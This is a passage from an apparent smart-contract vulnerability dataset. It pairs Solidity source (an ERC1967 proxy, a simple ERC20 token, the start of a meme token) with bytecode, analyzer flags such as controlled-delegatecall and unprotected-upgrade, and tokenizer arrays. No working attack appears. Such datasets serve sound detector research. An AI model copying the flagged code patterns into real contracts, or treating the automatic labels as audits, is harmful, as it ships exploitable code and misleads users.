f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115614e2f57614e2f614ded565b500190565b6000614e408285614ab7565b7f2e0000000000000000000000000000000000000000000000000000000000000081528351614bb981600184016020880161449f565b60008351614e8881846020880161449f565b835190830190614e9c81836020880161449f565b01949350505050565b818152606060208201526000614ee860608301600681527f7374617475730000000000000000000000000000000000000000000000000000602082015260400190565b828103604093840152600a81527f7465726d696e617465640000000000000000000000000000000000000000000060208201529190910192915050565b600082821015614f3757614f37614ded565b500390565b600060208284031215614f4e57600080fd5b5051919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614f8757614f87614ded565b5060010190565b600082614fc4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561500157615001614ded565b500290565b600060ff821660ff84168060ff0382111561502357615023614ded565b01939250505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cdf644d79ac962228590e0746ba076e7138d8bc1d38a97f0e4e53508fe8afda364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unprotected-upgrade", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unprotected-upgrade', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2620, 24434, 2549, 2278, 19841, 2063, 28756, 23833, 2094, 2575, 23499, 2278, 2509, 2497, 2094, 28154, 2546, 2692, 2278, 2575, 2509, 5243, 2692, 21472, 2487, 2063, 2581, 21057, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1012, 1005, 1005, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1010, 1005, 1005, 1012, 1010, 1048, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 20348, 16409, 1012, 1012, 1010, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1005, 1005, 1012, 1012, 1010, 1005, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,404
0x96b97a374d15bda6483ddc8528e0fa7dba7cfb8e
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; // HAAGENDAZS . contract HAAGENDAZS { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "ADDRESS IS ERROR "); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220b7324820f310386e6bed67588f080c10173a5b25b132a191066df18fdcab290564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2683, 2581, 2050, 24434, 2549, 2094, 16068, 2497, 2850, 21084, 2620, 29097, 16409, 27531, 22407, 2063, 2692, 7011, 2581, 18939, 2050, 2581, 2278, 26337, 2620, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 1013, 1013, 5292, 4270, 8943, 2480, 2015, 1012, 3206, 5292, 4270, 8943, 2480, 2015, 1063, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,405
0x96ba286857bb484516c617355c5f09caed3d49fb
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract MyTree is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "MyTree"; symbol = "TREE"; decimals = 6; _totalSupply = 150000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820aedddfb248f8f06a857c62d37c4119a0c6fe1d30f9085feab08731e6b14ebf460029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 3676, 22407, 2575, 27531, 2581, 10322, 18139, 19961, 16048, 2278, 2575, 16576, 19481, 2629, 2278, 2629, 2546, 2692, 2683, 3540, 2098, 29097, 26224, 26337, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 3115, 1001, 2322, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,406
0x96BA8068b40400660d0175d61eb5a57055ceFC73
// SPDX-License-Identifier: UNLICENSED /** https://t.me/cultshibape **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CultShibApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Cult Shib Ape"; string private constant _symbol = "CULTSHIBAPE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(200); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 